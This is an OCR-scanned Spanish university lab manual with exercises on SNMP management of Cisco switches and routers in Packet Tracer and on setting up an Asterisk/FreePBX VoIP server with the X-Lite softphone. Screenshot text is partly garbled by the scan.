SwitchAgente(config-if)#no shutdown

SwitchAgente(config-if)#exit

IP_SWITCHAGENTE: Es la direccion del SwitchAgente dentro del segmento 192.168.2.0
MASCARA_RED: Es la méascara de red para el segmento 192.168.2.0
Anote la direccién utilizada:

4.6 Configuracion de las comunidades SNMP en el Switch Agente

4.6.1 Configure la comunidad SNMP de lectura en el SwitchAgente ingresando los comandos:
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SwitchAgente>enable
SwitchAgente#configure terminal
SwitchAgente(config)#snmp-server community s010le0 ro

SwitchAgente(config)#snmp-server community leOescrib0 rw

SwitchAgente(config)#exit

Donde:

El simbolo “0” se trata de ceros no de la letra “O” maytscula.
ro significa Read Only y con ella se puede consultar la configuraciéon de los equipos que
pertenecen a la comunidad.
rw significa Read Write y con ella se puede consultar y modificar la configuracion de los
equipos que pertenecen a la comunidad.

4.7 Configuracion del Router Agente

4.7.1 Para configurar el Router que serd administrado de manera remota, ingrese a la
terminal en Desktop de la PC2 conectada al RouterAgente mediante consola (Figura

No. 6), emplee los parametros que se muestran en la figura No. 7.
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——\

Terminal Command Weob Browser

MiB Browser

PPPoE Dialer

Figura No. 6. Terminal
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Flow Control: None w
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Figura No. 7. Parametros

4.7.2 Ahora seleccione la ventana correspondiente a la pestafia CLI del Router. Escriba no y
presione Enter. Asignele el nombre RouterAgente mediante el comando hostname
como lo realiz6 en el cuestionario previo con el SwitchLabRyS.

4.7.3 Asigne una direccion IP al RouterAgente, utilice la interfaz que esta conectada al
SwitchSNMP en INTERFACE y enciéndala con los siguientes comandos:

RouterAgente>enable

RouterAgente#configure terminal

RouterAgente(config)#interface INTERFACE
RouterAgente(config-if)#ip address IP_ROUTERAGENTE MASCARA_RED
RouterAgente(config-if)#no shutdown

RouterAgente(config-if)#exit

IP_ROUTERAGENTE: Es la direccion del RouterAgente dentro del segmento 192.168.2.0.
MASCARA_RED: Es la mascara de red para el segmento 192.168.2.0

Anote la direccion IP utilizada

4.8 Configuracion de las comunidades SNMP - RouterAgente

4.8.1 Configure la comunidad SNMP de lectura en el RouterAgente ingresando los comandos:

67




mo_iN ' ;u Cddigo: MADO-32
YF.}} ' Manual de practicas del \I/Deérs:(ra]g: 68(/)15 39
W 5 Laboratorio de Administracion 9
N de Redes Seccion ISO 8.3
| ) - Fecha de
.y 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

RouterAgente>enable
RouterAgente#configure terminal
RouterAgente(config)#snmp-server community s010le0 ro
Router(config)#snmp-server community leOescrib0 rw
Router(config)#exit

Donde:

El simbolo “0” se trata de ceros no de la letra “O” maytscula.
ro significa Read Only y con ella se puede consultar la configuracién de los equipos que
pertenecen a la comunidad
rw significa Read Write y con ella se puede consultar y modificar la configuraciéon de los
equipos que pertenecen a la comunidad

4.9 Uso de MIB Browser

4.9.1 DéclicsobrelaPC que estd conectada inicamente a SwitchLabRyS y abra MIB Browser

dando clic en su aplicacion en la pestafia Desktop (Figura No. 8).
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Physical Config  [Desktop| Programming Attributes

>|

P i Command Web Browser
Configuration Prompt

MIB Browser Cisco IP Communicator

PPPoE Dialer Text Editor Firewall IPv6 Firewall

Figura No. 8 Aplicacion MIB Browser en PC

4.9.2 En la seccion de Address de la ventana MIB Browser escriba la direccion IP del
RouterAgente (Figura No. 9).
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Address:

Advanced...

SNMP MiBs
MIB Tres

Physical Config Services Desldop Programming Aftributes
e .

0iD:

Operations: Get v GO

Result Table

Name/OID Value Type

Name -

o

Syntax ;

Access

Description ;

Figura No. 9. Ventana MIB Browser

4.9.3 Despliegue el arbol MIB hasta llegar a system, para ello haga clic en la flecha al lado de
MIB treey en las flechas subsecuentes como lo muestra la Figura No. 10.
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¥ poo O *
Physical  Conmfig  Desklop  Programming  Adtributes
MIE Browser
Address: QD .
Advanced, Operations: Set o ___ _gg _u
T Result Tabls
m WE Tree NameiQiD Valus Type
_} w router_std MiBs
isp
= org
w dod
~ internet
~  mgmt
mig-2
~ _system
sysDescr
syslojectD
syslpTime
sysiontact
syshame I
syslocation | Hame Eyalame
¥ inferfaces
y 0D -
» ospf
> g2 Syrilax
private :
»  roer_pdvip WiBs Fycoess
r switch_L2 MiEs Dies eriptisn :
¥ switch_mutiiLayer MEs
.iso.prg.dod.internet. mgmt. mik-2.system syshame. §
Figura No. 10. Arbol MIB
I Anote los parametros de administracion definidos en el grupo de system

4.9.4 Para especificar las preferencias del protocolo SNMP, seleccione la opcion Advanced.

(Figura No. 11).
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Address: | oI |
SHWP NEs Result Table
~ MIB Tree NametOID Value Type
~ router_std MiBs
]
v ofg
v dod
v internet
v mgmt

v mib-2
~ _system
-sysDescr
sysObjectD
sysUpTime
-sysContact
syshame Name
sysLocation
Intertaces
P
ospf
o2
private
router_advio MBs
switch_L2 WiBs
swileh_mutLayer MBS

oD
Syntax :
Access

Description

Figura No. 11. Opciones avanzadas

4.9.5 Una vez ingresada a la opcién, ingrese la direccién IP utilizada en el punto 4.9.2,
posteriormente escriba 161 en la opcién Port, que es el nimero de puerto por defecto
para SNMP, y seleccione v2 en la seccion SNMP Version. (Figura No. 12).

¥ Advanced ? e
Address 0.0.0.0
Port 161

Read Community

Write Community

SHMP Version NZ e

[ oK ] Cancel

Figura No. 12. Preferencias de SNMP
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4.9.6 En la seccion de Read Community escribir s010le0 y en la secciéon Write Community
leOescrib0, donde los “0” son ceros no la letra O mayuscula, al finalizar dé clic en OK.
4.9.7 Consulte el nombre del RouterAgente en el apartado Value de la seccidn Result Table,

seleccionando .sysName en el Arbol MIB y dando clic en GO (Figura No. 13).

Physical

Config Desktop

Programming Attributes

MIB Browser
Advanced...
SNMP MiBs
v MIB Tree
~ router_std MIBs
v s
v .org
v .dod
v internet
~ .mgmt
o mib-2

w .system
.sysDescr
sys0bjectD
sysUpTime

.sysContact
E> sysName
.syslLocation

.interfaces
ip
.ospf
rip2
private
router_advip MiBs
switch_L2 MiBs
switch_multiLayer MIBs

Operations:

Result Table

Name/OIDy

Get ~

Value

Type

Name :
o :
Syntax :
Access

Description :

Figura No. 13. Consulta del nombre del Router.

NOTA: Es posible que tarde en responder el programa y aparezca una ventana
emergente de error. Para solucionarlo guarde su progreso, cierre Packet Tracer, espere
un momento, abra nuevamente el archivo y ejecute la consulta siguiendo los pasos
desde el 4.9.1 hasta el 4.9.7.
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4.9.8 Cambie el nombre del router por Administracion, para ello seleccione la opcién Set en
el apartado Operations, (Figura No. 14).

Pnysical Config Desktop
—

Programming

Afriputes

Address: |

Advanced .

SHNP MiBs
v MIB Tree
v router_std MiBs
v iso
v org
~ dod
¥ internet

v mgmi

v mib-2

v

-private
router_advip MBs
switch_L2 MiBs
switch_multi ayer MiBs

Figura No. 14. Opcidn Set para modificar valores

system
-SysDescr
sysObjectD
syslpTime
-sysContact
.syshame
-sysLocation

Interfaces

ip

ospf

rip2

oI

Operatons: Get V.

| Get

Result Table

o Get Bulk I
|

Keme/OD Jalue

Name
oD
Syntax :
Access .

Description |

4.9.9 Enlaventana emergente seleccione en campo Data Type el tipo de dato que
coincida con el Type que se observa en la consulta anterior (Figura No. 15).
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__| P SNMP Set ? ¢
oD 136121150
Data Type |BITS w
BITS
Valug Counter32

ND: A.36121150
Jperations. Set GO
Result Table
Mame/CID
136121150

(.is0.org dod.inter...

Value Type
RouterAgente

Figura No. 15. Ventana de modificacion

_—

Countert4
Gauge
Integer
Integer32

TruthWalue

4.9.10 Escribe el nuevo nombre en el campo de value y dé clic en OK (Figura No. 16).

® SNMP Set

oD

136121150

4 X

Cata Type OctetString

Value Administracio n|

oK |

Cancel

Figura No. 16. Cambio de nombre al Router

El cambio se vera reflejado al dar clic sobre GO en la ventana MIB Browser (Figura No. 17).
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MIB Browser
Address: 192.188.2.30 0ID: 138121150
Advanced... Operations: Set v GO
SNMP MiBs il fls AL
w MIB Tree Name/OID Type
“ router_std MiBs 136121150 Y _
W a0 {.iz0.org.dod.interne.... 7 OctetString
v .org
w dod
v internet
w  mgmt
~mib-2

W gystem
sysDe. .
sys0b. ..
syslp. .
sysCo... -
.sysName I
syslo.. | Hame .syshame

» interfaces

s ip 0Io 136121150

Figura No. 17. Nombre de Router actualizado a Administracion

4.9.11 Para comprobar el cambio en el RouterAgente, entre a la Terminal de la PC2 que tiene
conectada mediante consola como lo realizé en el paso 4.7.1.

II.

Describa lo que observa

4.10Consulta de interfaces en Switch

4.10.1 Dentro del MIB Browser, cambie la IP del campo Address por la del SwitchAgente
(Figura No. 18).
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Physical Config Services Desldop Programming Aftributes
. e

Address: oD:
Advanced... Operations: Get w Go

SNMP MiBs Result Table
Mg Tres Hame/OID Value m—

.Hame ¥
oD:
Syntax ;
Access

Description ;

Figura No. 18. Direccién IP

4.10.2 Seleccione ahora la opcién interfaces dando clic en el Arbol MIB como se muestra en

la Figura No. 19.
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Address

Auvanced

SHIP MBs
v UB Tras

w  router_std NWiBs

v o
~ .org
¥ ded
W nbemeq
v mgmt
o mit-2
¥ aystem
sysDescr
sysObjectD
sysUpTime
sysConiact
syshame
syslocation
E:} interfaces
ip
oapf

ripd

penvale

rouler_advip MiBs
swich_L2 Mg
switch_muliLayer MBs

o

Operatens Sat o

Resuk Table

HameiiD akia Type

Mama
0o -
Syntax
Access |

Descrglion

Figura No. 19. Seleccion de nodo interfaces

Seleccione la opcion Get Bulk en el apartado Operations y dé clic en GO (Figura No. 20).

MIB Browser

Address: 192.168.2.20 OID: 1381212
Advanced... Operations: Get v GO
Get Bulk
SNMP MiBs Result Table | get
~ MIB Tree 1 2 3
~ router_std MiBs
s
| v org
w .dod
~ internet
~.mgmt
~ . mib-2

~ =ystem
sysDhescr
sys0bjectlD
sysUpTime
sysContact
sysName
_sysLocation Name : .interfaces

» interfaces

» ip oD : 1361212

» nenf

Figura No. 20 Uso de Get Bulk
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Describa lo que observa en la seccion Result Table

4.10.3 Seleccione la opcion Get en el apartado Operations y dé clic en GO. Notara que da
error al hacer la consulta.

II.

¢Cudl es la diferencia entre Get y Get Bulk, y por qué la consulta de interfaces

da error al utilizar Get?

5.- Conclusiones

Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.

_____________________________________________________________________________
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PRACTICA 5
Administraciéon con SNMP en Windows
Cuestionario Previo

=

;Qué es un modelo de administracién de red?

Investigue las caracteristicas principales de los protocolos de administracién de red: SNMP.

Investigue los origenes del protocolo SNMP, asi como las versiones de snmpV1 snmpV2 y

snmpV3 mencionando la diferencia principal entre éstas.

Investigue la estructura de la MIB.

Investigue la estructura jerarquica de la MIB.

Investigue el concepto de identificador de objeto.

Investigue qué es una comunidad en SNMP.

Investigue qué es una comunidad publica y una comunidad privada en SNMP.

;Qué son las notificaciones, los traps y las peticiones de informe de SNMP?

10. Investigue qué es una MMC (Microsoft Management Console).

11. Investigue la sintaxis y el funcionamiento de los siguientes comandos para la configuracion del
SNMP en un switch: a) snmp-server community. b) snmp-server view phred c) access-list

12. Configure la siguiente topologia en Cisco Packet Tracer para realizar los ejercicios de la practica

(Figura A):

W

OO N

PC-PT
PCO

PC-PT ™ 2960-24TT 1841
PC1 SwitchLabRyS Routerl
PC-PT

pC2

Figura A. Topologia de red para trabajar

Modifique la etiqueta y el nombre del Switch por SwitchLabRyS como se muestra en la figura A
utilizando los siguientes comandos en la pestafia CLI:
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Switch> enable
Switch# configure terminal
Switch(config)# hostname NOMBRE
enable: Este comando habilita el modo privilegiado en el Switch
configure terminal: Este comando habilita la configuracién global del Switch
hostname: Con este comando se asigna el nombre al Switch, sustituya NOMBRE por el solicitado.

NOTA: Estos comandos se pueden utilizar tanto en Switches como en Routers

Configure la direccion IP del Router y las PC’s. Con esa informaciéon complete la siguiente tabla No. 1
utilizando 192.168.2.0 como segmento de red.

NOTA: Recuerde encender la interfaz del Router para que haya comunicacion.

Tabla No. 1. Asignacién de direcciones

Dispositivo Interfaz Direccion IP Mascara de Puerta de Enlace
Subred

Router0

PCO

PC1

PC2

13. Para emplear el software Cisco Packet Tracer debe contar con una cuenta en Skills for All,
consulte el Anexo de este manual para crearla, si ya tiene una cuenta, puede consultar el mismo
anexo para utilizar el software.
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Practica 6

Configuracion de VolP

Integracion
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1.- Objetivos de Aprendizaje

e El alumno o la alumna adquirira los conocimientos basicos acerca de VoIP como medio de
comunicacion, asi como los protocolos de sefializacion y transmision para poder llevar a cabo
una llamada telefénica por medio de redes IP.

e El alumno o la alumna configurara un conmutador de VoIP empleando el software Asterisk
para el PBX version 1.2.7.1 y X-Lite Softphone para establecer una llamada VolP.

2.- Conceptos tedricos

Los elementos principales de una red corporativa de voz son los sistemas de conmutacion, a los que
hay que afiadir los elementos de transmisidn, de supervision y los propios equipos de usuarios. Como
elementos de conmutacion existen varios tipos de dispositivos que pueden desempeifiar esta funcion:

o KTS, Sistemas Multilinea (Key Telephone System).

e PBX, Central Privada de Intercambio (Private Brand eXchange).

e C(Centrex, Oficina Central de Intercambio de Servicio (Central Office Exchange Service).
En esta practica utilizara la conmutacién por PBX, que es un sistema de telefonia que interconecta las
extensiones telefénicas internas, con las troncales telefénicas; ademas usa métodos de conmutacion
digitales que pueden soportar la instalacion de teléfonos y lineas tanto analdgicas como digitales.

Un softphone (combinacién de Software y de Telephone) es un software que hace una simulacién de
teléfono convencional por computadora, permite usar la computadora para hacer llamadas a otros
softphones o a otros teléfonos convencionales usando un VSP, Proveedor de Servicios de VoIP (VoIP
Service Provider).

Asterisk, es una PBX completamente disefiada en software que funciona en Linux y proporciona todas
las caracteristicas de una PBX. Trabaja con VoIP en varios protocolos (SIP, H.323) e interactua con casi
todo el equipo estandar basado en telefonia IP.

El funcionamiento de VoIP (Voz sobre el Protocolo Internet - Voice Over Internet Protocol) consiste en
la conversion de las sefiales de voz estdndar en paquetes de datos comprimidos que son transportados
a través de redes de datos en lugar de lineas telefénicas tradicionales. La evolucién de la transmision
conmutada por circuitos basada en paquetes toma el trafico de la red publica telefénica y lo coloca en
redes IP bien aprovisionadas. Las sefiales de voz se encapsulan en paquetes IP que pueden
transportarse como IP nativo o como IP por Ethernet, Frame Relay, ATM o SONET.

La operacion basica de VoIP consiste fundamentalmente en:
1. Digitalizar la voz en el extremo que emite.
2. Compactar la voz digitalizada.
3. Transmitirla como un conjunto de paquetes de datos por IP.
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4. Recibir los paquetes en el otro extremo de la comunicacion.
5. Descompactarlos.
6. Reproducirlos para ser escuchados.

La convergencia de las redes de voz y de datos, han tenido como consecuencia profundos cambios en
el desarrollo y la implementaciéon de soluciones corporativas para la pequefia y mediana empresa
fundamentalmente. Es por ello que un administrador de redes debe tener la capacidad de llevar a cabo
la integracion total de los servicios de comunicacién.

2.1 Estandares de VolP

Para poder llevar a cabo una llamada telefénica a través de Internet, son necesarios los protocolos de
senalizacion y transporte.

El soporte de una llamada telefénica sobre una red de paquetes, que en la mayoria de los casos es una
red IP consta de dos fases:

1. Establecimiento de la llamada, esto es el equivalente a la obtencion de tono de invitacién a
marcar, la marcaciéon de nimero destino, la obtencién de timbre de llamada o de la sefial de
ocupado y el descolgado del receptor para contestar la llamada.

2. Lapropia conversacion.

En cualquiera de estas dos fases es necesaria una serie de estadndares que regulen y permitan la
interconexion de equipos de distintos fabricantes como los protocolos de sefializacién y los protocolos
de transporte.

2.1.1 Protocolos de serializacion

Los protocolos de sefializaciéon tienen como objetivo el establecimiento de las llamadas y son
basicamente el corazén de la voz sobre paquetes, distinguiéndose de otros tipos de servicios. Las
funciones que realizan son:

1. Localizacion de usuarios, si un usuario A se desea comunicar con un usuario B, en primer lugar
A necesita descubrir la localizacién actual de B en la red con el fin de que la peticiéon del
establecimiento de sesion pueda establecerse.

2. Establecimiento de sesidn, el protocolo de sefializacién permite al usuario llamado aceptar la
llamada, rechazarla o desviarla a otra persona, buzon de voz o pagina Web.

3. Negociacion de la sesion, la sesion multimedia que se estd estableciendo puede comprender
diferentes tipos de flujo de informacion (audio, video, etcétera). Cada uno de estos flujos puede
utilizar algoritmos de compresion de audio y video diferentes, dado que puede tener lugar en
diferentes puertos y direcciones unicast o multicast. El proceso de negociacion permite a las
partes implicadas acordar un conjunto de parametros de inicializacion.
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4. Administracion de los participantes en la llamada, es posible afiadir y/o eliminar miembros de
una sesion ya establecida.

5. Otras funciones, como transferir una llamada o el colgar dicha llamada, requiere la conmutacién
entre los dos extremos.

Para cumplir con todos estos requisitos, existen fundamentalmente tres protocolos:

e H.323, fue concebido para comunicaciones multimedia en redes de area local, pero se ha
extendido ala VolP, proporciona control de llamadas, funciones de conferencia, administraciéon
de llamadas, capacidad de negociacion de parametros y otros servicios complementarios.

e SIP (Protocolo para Inicio de Sesién - Session Initiation Protocol), ha sido disefiado para
soportar el control de llamadas y la negociacidn de sesiones de forma distribuida.

e MGCP, Protocolo de Control de Pasarela de Medios (Media Gateway Control Protocol), se trata
de un control de protocolo que permite a un controlador centra,l el monitoreo de eventos que
ocurren en los teléfonos IP y en las pasarelas, les impone el envio de informacidon a direcciones
especificas, etc.

2.1.2 Protocolos de Transporte

Los protocolos de transporte tienen como objetivo asegurar la comunicacion de voz para el
establecimiento de una red para transportar contenidos multimedia bajo demanda de las aplicaciones
que la utilizan, siendo ésta una tarea no trivial. Podemos contar con al menos tres dificultades que son:

1. Mayores requerimientos de ancho de banda.

2. Lamayoria de las aplicaciones multimedia requieren el trafico en tiempo real.

3. Secuencia de caracter critico en la generaciéon de los datos multimedia.

Para solucionar estos problemas se crearon los protocolos de transporte, cuya mision es trasladar la
informacién util del origen al destino, cumpliendo con los requerimientos exigidos por las aplicaciones
multimedia en general y por la voz en particular. Los protocolos de transporte mas empleados en la
integracion de voz y de datos son RTP (Protocolo de Transporte en Tiempo Real - Real Time Transport
Protocol) y el RTCP (Protocolo de Control en Tiempo Real - Real Time Control Protocol).

2.2 Asterisk

La solucion de telefonia basada en Asterisk ofrece las funciones propias de las centralitas clasicas y
ademads caracteristicas avanzadas, logrando trabajar tanto con sistemas de telefonia estandar
tradicionales como con sistemas de VolIP.

Asterisk esta dotado con caracteristicas que sélo ofrecen los grandes sistemas PBX propietarios como:
buzdén de voz, conferencia de voz, llamadas en espera y registros de llamadas detalladas. Para funcionar
con VoIP no necesita de ningiin hardware adicional, para interconectar con la telefonia tradicional
requiere de tarjetas especiales de muy bajo costo (tarjetas FXO, FXS).
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2.2.1 Instalacion del servidor VolIP

Para la instalacion del servidor de VolP, se requiere de una PC que sea destinada para funcionar como
conmutador telefénico. A esta PC le sera cargado una versién de la distribucién Linux CentOS que
incluye Asterisk@home. (Ver Figura No. 1)

Asternisk@Home

Figura No. 1. Interfaz de la aplicaciéon CentOS

NOTA: Hay que tener en cuenta que Asterisk@home no es inicamente la aplicacion como tal; la
instalacion borrara sin previo aviso todas las particiones que se encuentren en el equipo,
eliminando los datos.

Ya que se tiene instalado el sistema operativo y una vez reiniciado el equipo, el sistema estara ocupado
compilando las aplicaciones. Trascurridos entre 30 y 45 minutos y tras un segundo reinicio, aparecera
el login del equipo para que el administrador se valide. (Ver Figura No. 2)

Welcome to Asterisk@Home

For access to the Asterick@Home Web GUI use this URL
b/
Far help on Asterisk@Home commands you can use from this

command shell type help-zzh.

[root@asteriskl root]#

Figura No. 2. Vista por primera vez del servidor VoIP, Asterisk@home

El sistema viene con un usuario por defecto root y una contrasefia también por defecto password, asi
que sera necesario cambiarla mediante el comando passwd desde la linea de comandos.

A continuacién se tendra que ejecutar la aplicacion netconfig, para configurar los parametros de la

tarjeta de red (IP, mascara, DNS, gateway), el equipo se tendra que reiniciar para que los cambios sean
efectivos.
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Una vez arrancado el servidor, aparecera de nuevo el mismo mensaje de bienvenida, pero esta vez con
la direccion Web a la que se llamara para ejecutar la administracion del servidor. (Ver Figura No. 3)

Welcome to Asterick@Home

For access to the Asterisk@Home Web GUl use this URL
hetp://192.168.2.122
For help on Asterisk@Home commands you can use from this

sammand shell type help-azh.

Figura No. 3 Vista configurada del servidor VoIP, Asterisk@home
Hasta este punto se tiene ya instalado completamente el servidor, ahora serd necesario configurar la
herramienta via Web.
3.- Equipo y material necesario
Material del alumno o de la alumna:

e Diademas con micréfono y audifonos
e Audifonos y micr6fono por separado.

Equipo del Laboratorio:
e PC’s Pentium con una NIC Ethernet 10/100 Mbps instalada en cada una de ellas.
e Un switch Ethernet 10BaseT o FastEthernet
e Servidor de VolP Asterisk
e Software X-Lite softphone

4.- Desarrollo

Modo de trabajar
La forma de trabajar sera por parejas.
4.1. Configuracion Via Web

El objetivo de este punto es la configuracién manual del servidor de VoIP accediendo a él a través de
la conexion Web.
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4.1.1 Abra un navegador Web como Internet Explorer y escriba la direccion 192.168.2.122 en el
campo del URL, ésta es la direccién que se asigné al servidor para poder ser administrado. (ver
Figura No. 4)

[ FreepBX x Wk
€ C (© Noesseguro | 192.168.2122 T 6

Voicemail & Recordings (ARI)

FreePBX Administration

Figura No. 4 Aplicaciones de la administracién via Web
4.1.2 El navegador nos muestra la ventana de bienvenida, podrd entrar a Voicemail &
Recordings(ARI) y FreePBX Administration; navegue por estos menus de ser posible, en caso
de no poder hacerlo investigue la funcionalidad de ellos.

I. Anote las caracteristicas que proporciona el menu Voicemail & Recordings (ARI)

I1. Anote las caracteristicas que proporciona el mena FreePBX Administration

4.1.3 ParaFreePBX Administration, es necesario entrar como administrador, coloque en los campos
de usuario y contrasefia, admin como nombre de usuario y admin como contrasefia. Estos
campos son los predeterminados en la configuracion inicial. (ver Figura No. 5)
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To get started, please enter your credentials:

Figura No. 5 Solicitud de usuario y contraseiia

4.1.4 Una vez validados se tiene acceso a una serie de aplicaciones de administraciéon: Admin,
Applications, Connectivity, Reports, Settings

Nota: Dentro de esta aplicacion es posible administrar al servidor en todos sus aspectos, incluso
editando via texto los archivos de configuracion.

4.1.5 En la parte superior izquierda, observe el menu Applications, haga clic en él, seleccione el
elemento Extensions (Extensiones). A través de un sencillo formulario Web podra dar de alta
y modificar las cuentas de usuario y extensiones de teléfono. (ver Figuras No. 6y 7)
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7+ FreePBX Administration x +

< c

-
¥y V| Administracion -
—

® Noes seguro

192.168.2.122/admin/config.php#

| @) |

o & O

Cerrar sesion: admin Language ~

e FreePBX

Colas

Notificaciones de FreePBX

& File /etc/dahdi/modules is not ow

s not owned by astenisk &
File fetc/modprol dahdi.conf is not owned by asteril@
4 Symlink from modules failed =]

&, File /fetc/dahdi/system

1 bad destinations @
(-]
@

00

@ No email address for online update checks =

Mostrar todas las notificaciones

-ting Anonymous Browser Stats

Applications ~ ‘iry - Informes Settings

Estadisticas del sistema

Procesador
Carga media 0.00
CPU 0%
Memoria
B:moria de aplicaciones T%
Memona Swap 0%
Discos
[ | 4%
fdevishm 0%
Boot 6%
Redes

Figura No. 6. Meni Applications

+7#* FreePBX Administration b4 -+

C (@ Noesseguro

* Admin -

.

Applications - Connectivity

Add an Extension

Reports « Seftings

Please select your Device below then click Submit

- Device

Device Generic SIP Device v

Submit

192:168.2.122/admin/config.php?display=extensions

Figura No. 7 Menu Extensions

4.1.6 En este punto se dara de alta como usuario. Para inciar la configuracion de la extensién debe
seleccionar en Device la opcion Generic SIP Device y después dar clic en Submit. Llene el
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formato Gnicamente con los valores que se muestran en la Tabla 1.1, el resto se deja con los
valores por defecto. Dar clic en Submit y en Apply Config

NOTA: Al final de la practica debera eliminar la extension que esta por crear tal y como
se indica en el apartado 4.4

Tabla 1.1. Valores de configuracion para los usuarios

Caracteristicas Valores
User Extension Nuimero que esta en el rango 200 -
320
Display Name Primer nombre + Primer apellido
secret Iniciales_numextension
dtmfmode RF(C2833
nat Yes

4.2 Softphone
Un softphone es tipicamente parte de un entorno VolP y puede estar basado en el estandar SIP/H.323
o basarse en un protocolo propietario.

Los softphones son parte del grupo tecnolégico CTI (Integracion Computadora-Telefonia - Computer
Telephony Integrated). Hay varios tipos de softphones, algunos son a través de VolP, otros funcionan
utilizando teléfonos USB y algunos estan implementados completamente en software que se comunica
con las PBX a través de una red de area local usando TCP/IP para controlar y marcar a través del
teléfono fisico. Cominmente esto se hace a través de un entorno de centro de llamadas para
comunicarse desde un directorio de clientes o para recibir llamadas, donde la informacién del cliente
emerge en la pantalla de la computadora cuando el teléfono suena, dando a los agentes del centro de
llamadas un volumen de informacién sobre quién esta llamando, cémo recibirlo y dirigirse a él o ella.

4.2.1 Instalacion softphone X-Lite
El X-Lite es un software muy amigable y robusto que permite realizar llamadas por Internet a través
de un servidor de VolP.

En esta parte de la practica aprendera a configurar un softphone para poder establecer una llamada

telefonica.

4.2.1.1 Borre el registro de la aplicacion via INICIO>EJECUTAR>REGEDIT.EXE , localice la siguiente
subestructura del registro: HKEY_CURRENT_USER e ingrese a ella. Busque la carpeta de
Software, ingrese y elimine la carpeta XtenNetwork Inc en caso de existir.

4.2.1.2 Localice en el escritorio el software X-Lite Setup y haga clic dos veces sobre él, a continuacion
haga clic en el botén Next para continuar con la instalacion.
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4.2.1.3 Verifique que esté seleccionada la opcién I accept the agreement y después haga clic en el boton
Next.

4.2.1.4 Posteriormente el asistente le informa sobre la version que se va a instalar, para continuar
haga clic en el botén Next; a continuacidén le preguntard donde desea instalar la aplicacion,
dejara la ubicacién por default, por lo tanto haga clic en Next.

4.2.1.5 Nuevamente haga clic en Next, y verifique que so6lo esté seleccionada la casilla de Create a
desktop icon y haga clic en Next.

4.2.1.6 Haga clic en el botén Install, espere unos segundos y para completar la instalacién haga clic en
Finish.

4.2.2 Configuracion softphone X-Lite

En este punto de la practica aprendera la configuraciéon del softphone para poder establecer una

llamada.

4.2.2.1 Para iniciar la configuraciéon del programa X-Lite haga doble clic en el icono creado en el
escritorio.

4.2.2.2 En el siguiente diagrama se muestran los elementos de softphone, para que se familiarice con
la herramienta. (ver Figura No. 8)

Minimizar

Cerrar la
_~ aplicacién

Limpiar la
_/ pantalla
/
Your number js: 202 @
No. de Lineas Call Tmer: 000:00
tefefonicas g 3
= z
P
Libreta de _
direcciones
Colgar ) — Llamar
Control de Control de
volumen volumen
micréfono audio
Servicio de

Silencio Conferencia

\\ Servicio de
Transferir
llamada

Figura No. 8 Elementos de softphone X-Lite

4.2.2.3 A continuacién se mostrara en el escritorio el softphone y el menu para poder configurar la
herramienta. (ver Figura No. 9)
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Figura No. 9 Softphone y el meni listo para configurar

4.2.2.4 Haga clic derecho sobre el softphone y elija del menu desplegable la opcidon Audio Tuning
Wizard..., ver Figura No. 10, posteriormente aparecera la ventana de Audio Tuning Wizard

para poder configurar el audio y micréfono.

Weicome to the Audo Turing Wiassd

N s [

Figura No. 10 Ventana de bienvenida al Audio Tuning Wizard

4.2.2.5 Conecte la Diadema (audifonos y micréfono) a la computadora, verificando que estén
conectados correctamente en el lugar correspondiente.
4.2.2.6 Haga clic en el bot6n Siguiente para configurar la aplicacidn, seleccione el tipo de micréfono
que se va a utilizar y haga clic en siguiente.

4.2.2.7 En las siguientes dos ventanas debe ajustar el volumen de los audifonos y la intensidad del
micr6fono, una vez realizado esto haga clic en Siguiente en cada ventana respectivamente, a
continuacion calibre el micréfono y posteriormente haga clic en Siguiente.

NOTA: Si escucha sonido distorsionado, haga clic en panel de control, doble clic sobre
Dispositivos de audio y sonidos, elija la pestaiia Voz y posteriormente seleccione el botén

prueba de hardware, siga el asistente para configuracion de voz y audio.

4.2.2.8 Elija la opcién Cable / DSL / LAN y haga clic en Siguiente, para finalizar con la configuracion

del Audio Tuning Wizard haga clic en Finalizar.
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NOTA: Con el Audio Tunning Wizard se han configurado automaticamente las opciones Speaker
Audio device, Mic Audio device y Ring Audio Device del menu System Settings, que
posteriormente seran analizados.

4.2.2.9 Configure el softphone ala red de acuerdo con los parametros que se muestran en la Tabla 1.2,
en el menu de Network.

NOTA: Este menu se encuentra en Main Menu> System Settings> Network.

Tabla 1.2 Parametros que deben configurarse en el menu Network

Caracteristicas Valores

Auto_Detect_IP: Yes

Listen_on_IP Dejar en blanco

Use X-NAT to Choose SIP/RTP Ports | Never

Listen SIP Port 5060

Listen RTP Port 8000

NAT Firewall IP en blanco

Out Bound SIP Proxy en blanco

Force Firewall Type (do not force firewall type)

Primary STUN Server Dejar en blanco

Secondary STUN Server Dejar en blanco

Primary DNS Server 132.248.204.1 ( o bien la direccion LAN, en
presencia de LAN con DNS interno)

Secondary DNS Server 132.248.10.2 ( o bien la direccién LAN, en
presencia de LAN con DNS secundario
interno)

Provider DNS Server Dejar en blanco

4.2.2.10 Realizado el punto anterior haga clic en BACK, a continuacién seleccione SIP Proxy haciendo
clic en SELECT, posteriormente haga clic dos veces en [Default], para poder configurar los
parametros siga la Tabla 1.3. (ver Figuras No. 11 y No. 12)
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 Menu

(Detauk] o 7| - [ x]

Oksplay Name: Eugenia Maclas
Usemame: 201

Agthorzation User: 201
Password: ™
Domain/Realm: 102,163.2.3

SIF Proxy: 192,168 2.3

Out Bound Proxy

Use Outbound Prowcy- Defauk
Send Iemal (P Ausys

Figura No. 11. Configurando parametros SIP
8 Menu
et NGeo

Use Outbound Proxy: Datault

Send Intemal IF: Avays

Regster: Auays

Moicemall SI1P URL

Forward SIP URL

Use Vblcarmal Forward to Mo cemall
Direct Ol 17. b

Dial Pratix
Providor Wt 1 applicabla)
Updrc Seings 0t applieadie)

Figura No. 12. Configurando parametros SIP1116

Tabla 1.3. Valores que deben configurase en el menii SIP Proxy> [Default]

Caracteristicas Valores
Enabled : Yes
Display Name Primer nombre + Primer apellido
Username Numero de extension asignado por el administrador
Authorization User | Numero de extensidn asignado por el administrador
Password Contrasefia registrada como secret en la configuracién via web como
Iniciales_numextension
Domain/Realm 192.168.2.122
SIP Proxy 192.168.2.122
Out Bound Proxy Dejar en blanco
Use Out Bound default
Proxy
Send Internal IP Always
Register Always
Voicemail SIP URL | Dejar en blanco
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Forward SIP URL Dejar en blanco

Use Voicemail Forward to Voicemail
Direct Dial IP no

Dial Prefix Dejar en blanco
Provider WebSite n/a (if applicable)
